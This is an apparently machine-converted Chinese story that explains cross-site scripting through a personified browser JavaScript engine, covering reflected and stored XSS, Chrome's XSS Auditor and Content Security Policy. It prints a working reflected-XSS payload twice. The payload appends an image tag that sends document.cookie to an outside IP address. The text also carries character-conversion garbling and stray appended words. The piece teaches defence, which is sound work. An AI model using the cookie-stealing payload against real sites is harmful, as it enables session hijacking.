一個神祕URL釀大禍,差點讓我背鍋!

神祕URL

我叫小風,是Windows帝國一個普通的上班族。上一回說到由於一個跨域請求,我差點丟了飯碗,好在有驚無險,個人職場歷險記還在繼續。web

「叮叮叮叮~~~~」,鬧鐘又把我給吵醒了,我一看時間居然已經這麼晚了。數據庫

我趕忙起身,準備要去上班,好不容易在那家瀏覽器公司謀了個差事,可不敢遲到。編程

今天又是普通的一天,很快就到了深夜,上網業務少了,我和小雪妹子一合計,夥同負責網絡鏈接的老白和負責存儲的小黑,一塊兒打起了麻將。跨域

一連打了幾圈,正在興頭上,公司的美女前臺跑了過來,「大家幾個別玩了,上網業務來了。老白,這是URL,給」瀏覽器

我瞅了一眼這URL,看上去有些奇怪,不只比以前見過的都長,貌似還夾雜着一些JavaScript代碼。安全

http://zone.oo.com/user/info.jsp?desc="/><script>$("body").append("<img src='http://192.168.59.129?c="+escape(document.cookie) + "'>")</script><!--服務器

「老白,這URL長的好奇怪?會不會有什麼問題?」,我向老白問到。cookie

「嗨,你小子就是新來的,我見過的URL比你執行過的JS代碼都多,什麼奇形怪狀的沒見過,大驚小怪」,老白不屑一顧。網絡

「你們把牌蓋着,都別看,忙完了回來咱接着打」,老白繼續說到。app

因而你們各歸各位,準備處理這一單上網業務。

很快,老白取回了這個URL背後的網頁,交給了小雪來解析渲染。

小雪作了一半,叫住了我:「風哥,又有 <script> 標籤了,該你上了」。

我接太小雪手裏的網頁,猛地一看,這不是剛剛URL裏面出現的代碼嗎?怎麼又跑到網頁裏面去了?

內心忽然涌上一種很差的預感,正在困惑之中,老白催我了,「小雪小風你倆趕忙的,網頁加載半天了還沒顯示出來!」

希望是我多想了,我開始執行這 <script> 標籤中的代碼了。

<script>
 $("body").append("\<img src='http://192.168.59.129:10086?c="  + escape(document.cookie) + "'>") </script> 複製代碼

我要建立一個新的 <img> 標籤,添加到網頁正文中去。看了一下這個圖片的來源,是一個新的地址,再一看,還要把當前網站的Cookie帶着做爲參數才能拿到這個圖片。

我來到小黑的存儲倉庫,準備向他索要Cookie。

當我代表來意之後,小黑也顯得有些謹慎,「按照公司規定,一個網站的Cookie是不能隨便給別的網站訪問的

「這我固然知道,不過如今是這個網站的JS代碼主動把Cookie取出來發給別人,這不算違反公司規定吧」,我解釋到。

小黑鄒着眉頭想了一想,也就贊成了。

我拿到cookie後,構建了一個完整的 <img> 標籤添加到了網頁的DOM樹中,以後還給小雪繼續渲染。

網頁很快渲染完成展現出來了,忙完以後咱們繼續開始未完的牌局。

過了一下子,人類終於關掉了瀏覽器,咱們也能夠下班了······

XSS跨站腳本攻擊

次日一早,我剛到公司,小雪妹子就轉過頭告訴我:「風哥,主管讓你去趟他的辦公室,他好像不過高興,你小心點」

「你知道是什麼事情嗎?」

「我也不太清楚,只據說你執行了什麼錯誤的JavaScript代碼」

我內心一緊,感受大事不妙,難道是昨晚那奇怪的代碼有什麼問題?

來到主管的辦公室,見裏面坐了一個年輕小哥。我輕輕的敲了敲門問到:「主管,您找我有事?」

主管見我到來,指着旁邊的沙發示意我也坐下。

「你闖禍了知道嗎?」,領導扔給我一頁文件。

我拿起文件一看,上面赫然寫着我昨晚執行那段奇怪的JavaScript代碼。

「主管,我不太清楚,這是有什麼問題嗎?」,我小聲問道。

主管指着旁邊那個年輕小哥說到:「這位是OO空間網站的負責人,讓他告訴你吧」

小哥點了點頭說到:「是這樣的,咱們發現有人盜用咱們網站的Cookie,免登陸直接訪問了進去,通過日誌排查,發現是大家這裏把Cookie泄露的,因此想過來了解一下狀況」

「這段代碼是大家網站本身的,我只是完成個人工做執行了它而已啊」,我開始有些緊張了。

「但是咱們網站根本沒有這段代碼,也不可能把Cookie就這樣發給別人的」,這小哥也爭辯道。

辦公室的氣氛變得有些緊張,現場陷入了短暫的安靜。

就在此時,年輕小哥出去接了一個電話。

片刻以後,小哥再次回到辦公室,臉色忽然和緩了許多,笑着說到:「很差意思,剛剛接到同事的電話說,他們已經排查出了問題,是咱們網站對URL中的參數沒有檢查,直接寫入了網頁中,被人利用傳入了JS代碼。跟大家應該沒有關係,實在是抱歉」

聽完,我鬆了一口氣,差點就要背鍋了。

回到工位,我把事情的通過告訴了大夥。

小雪聽後吐槽:「那些奇奇怪怪的URL就別亂點嘛,真是給咱們添亂」

「你看你看,我昨晚上就以爲有些不對勁。這壞蛋手段挺高啊,能想出這麼個損招,我們給這種攻擊方式取個名字吧」,小黑說到,「叫Cross Site Script攻擊怎麼樣?」

老白點了點頭,「跨站腳本攻擊,嗯,總結很到位,那就簡稱CSS吧!」

小雪一聽轉過頭來,「你叫CSS,那個人層疊樣式表豈不是要更名讓賢?」

老白撓了撓頭,有些很差意思,「哦,忘了這一茬。那改一下,叫XSS,這總能夠了吧?」

咱們都點了點頭,就這麼定了。

XSS Auditor

雖然這一次的事情責任不在咱們瀏覽器,不過我一直仍是有些後怕。

這天晚上,我又仔細回憶了那天整個事情的通過

忽然腦子裏靈光一閃,發現一個重要的特色

既然JS代碼同時出如今了請求的URL中和響應的網頁中,何不利用這個特色來進行鍼對性攔截呢?

越想越難入睡,連夜寫起了方案。

次日,來到公司,打算將昨晚的方案彙報給主管,掙一下表現。

我再次來到主管辦公室,主管見是我,招呼道:「小風啊,來來來,恰好找你有點事」

我快步走了進去,只見主管又拿出了一疊文件放在個人面前,隨後說到:「這是我搞到的絕密資料,是我們隔壁Chrome瀏覽器公司的一個叫XSS Auditor的技術,聽說能夠阻止相似上次的攻擊事件,你抽空研究一下」

我腦子一懵,趕忙快速瀏覽了這份文件,沒想到竟然跟個人方案撞到一起了,並且比我想的還全面細緻。我只好悄悄收起了原來準備彙報的方案······

幾天後,主管宣佈咱們也要用上這種技術,加強我們瀏覽器的安全性。

存儲型XSS

「據說了嗎?隔壁Chrome瀏覽器公司也發生XSS攻擊了」,一天中午,老白神神祕祕的說到。

我一聽來了精神,「不是有XSS Auditor嗎,怎麼還會發生這種事?」

「這回那些壞蛋換招了,他們沒有把JS代碼放在URL中,XSS Auditor天然是發覺不了了」

「不在URL中,那放哪裏了?」

「據說是存在了數據庫裏,訪問網頁的時候從數據庫裏讀取出來後,直接給填充到了網頁上了,喏,就像這樣」,老白說完畫了一個圖。

「對了,他們藉此機會把XSS攻擊分紅了兩種,之前那種直接經過URL把JS代碼注入進網頁的方式叫作反射型XSS,這一次這種叫存儲型XSS」,老白繼續說到。

我看了老白的圖一下就明白了,「這一招也太狠了,存進了網站的數據庫裏,全部人訪問頁面都得中招」

「可不是咋的,OO空間網站那邊已經亂成一鍋粥了,正在內部整頓,對全部的輸入進行全面的檢查過濾,防止JS代碼混進去。」

「這種事情仍是得他們網站本身作好檢查,我們瀏覽器也幫不上什麼忙」,一旁的小黑也插了一嘴。

你們七嘴八舌聊了幾句就散了。

雖然小黑說的也沒錯,不過上次的方案撞車,我一直不太服氣,這一次機會來了,我要是能再想出一套方案,能把此次的新型XSS一併解決的話,那就揚眉吐氣了。

以後一段時間,一有閒暇我就開始思考這個問題,卻一直沒什麼進展。

CSP

這一天中午,沒什麼工做要忙,我又想起了這個問題,小雪他們又組織打麻將,我沒有心思便拒絕了。

老白聞訊過來,說到:「小風,你還在想那個問題啊,你這兩天沒看新聞嗎,W3C標準化組織推出了一個新技術,已經把這個問題解決了!」

老白的話如當頭一棒,「什麼技術?怎麼解決的?」

「你看你,每天關起門來研究,都不知道外面的世界變化有多快。你去了解一下,好像叫什麼Content Security Policy,哦對,就是這個,簡稱叫CSP

我趕忙去打聽了這個叫CSP的新技術,看完直拍大腿,我怎麼就沒想到。

CSP規定了一個叫Content-Security-Policy的信息,網站經過這個信息告訴瀏覽器哪些外部資源能夠加載和執行。這個信息能夠用HTTP頭的形式出現,像這樣:

也能夠經過 <meta> 標籤出現,像這樣:

<meta http-equiv="Content-Security-Policy"  content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"> 複製代碼

至於裏面的內容,則是將全部可能出現外部資源加載的地方進行了指示,瀏覽器拿到它就能知道能去哪些地址加載對應的資源,若是資源所在的地址不在名單以內就拒絕加載:

- script-src:外部腳本
- style-src:樣式表
- img-src:圖像
- media-src:媒體文件(音頻和視頻)
- font-src:字體文件
- object-src:插件(好比 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部資源
- connect-src:HTTP 鏈接(經過 XHR、WebSockets、EventSource等)
- worker-src:worker腳本
- manifest-src:manifest 文件
複製代碼

好比 img-src的內容是self,那全部的 <img> 標籤的src屬性必須是在當前網站才行,若是加載其餘地址的圖片就會拒絕。

不只如此,還提供了一個叫report-uri的字段,字段內容是一個服務器地址,瀏覽器發現有不符合規定的資源加載後,除了拒絕加載還能夠把這一狀況報告給這個地址,網站就能及時知道預警了。

真是完美的解決方案!沒想到,居然這麼多競爭對手都已經用上了這項技術

當天下午,我就拉着老白去到領導辦公室,說服他將這項技術在我們公司也用起來。

煩人的XSS攻擊總算是緩解了很多,咱們也可貴度過了一段時間的太平日子。

未完待續······

彩蛋

太平的日子沒有太持久,那件事以後半個月,我又由於執行一段JS代碼霸佔CPU過久,被帝國安全警衛隊勒令咱們瀏覽器公司強制關閉。

執行JavaScript這份工是愈來愈很差打了。

預知後事如何,請關注後續精彩······

往期熱門回顧

由於一個跨域請求,我差點丟了飯碗

就爲了一個原子操做,其餘CPU核心都罷工了

完了!CPU一味求快出事兒了!

可怕!CPU竟成了黑客的幫兇!

哈希表哪家強?幾大編程語言吵起來了!

震撼!全網第一張源碼分析全景圖揭祕Nginx

一個整數+1引起的災難

一網打盡!每一個程序猿都該瞭解的黑客技術大彙總

DDoS攻擊:無限戰爭

一個Java對象的回憶錄:垃圾回收

誰動了你的HTTPS流量?

路由器裏的廣告祕密

一個HTTP數據包的奇幻之旅

我是一個流氓軟件線程

相關文章
相關標籤/搜索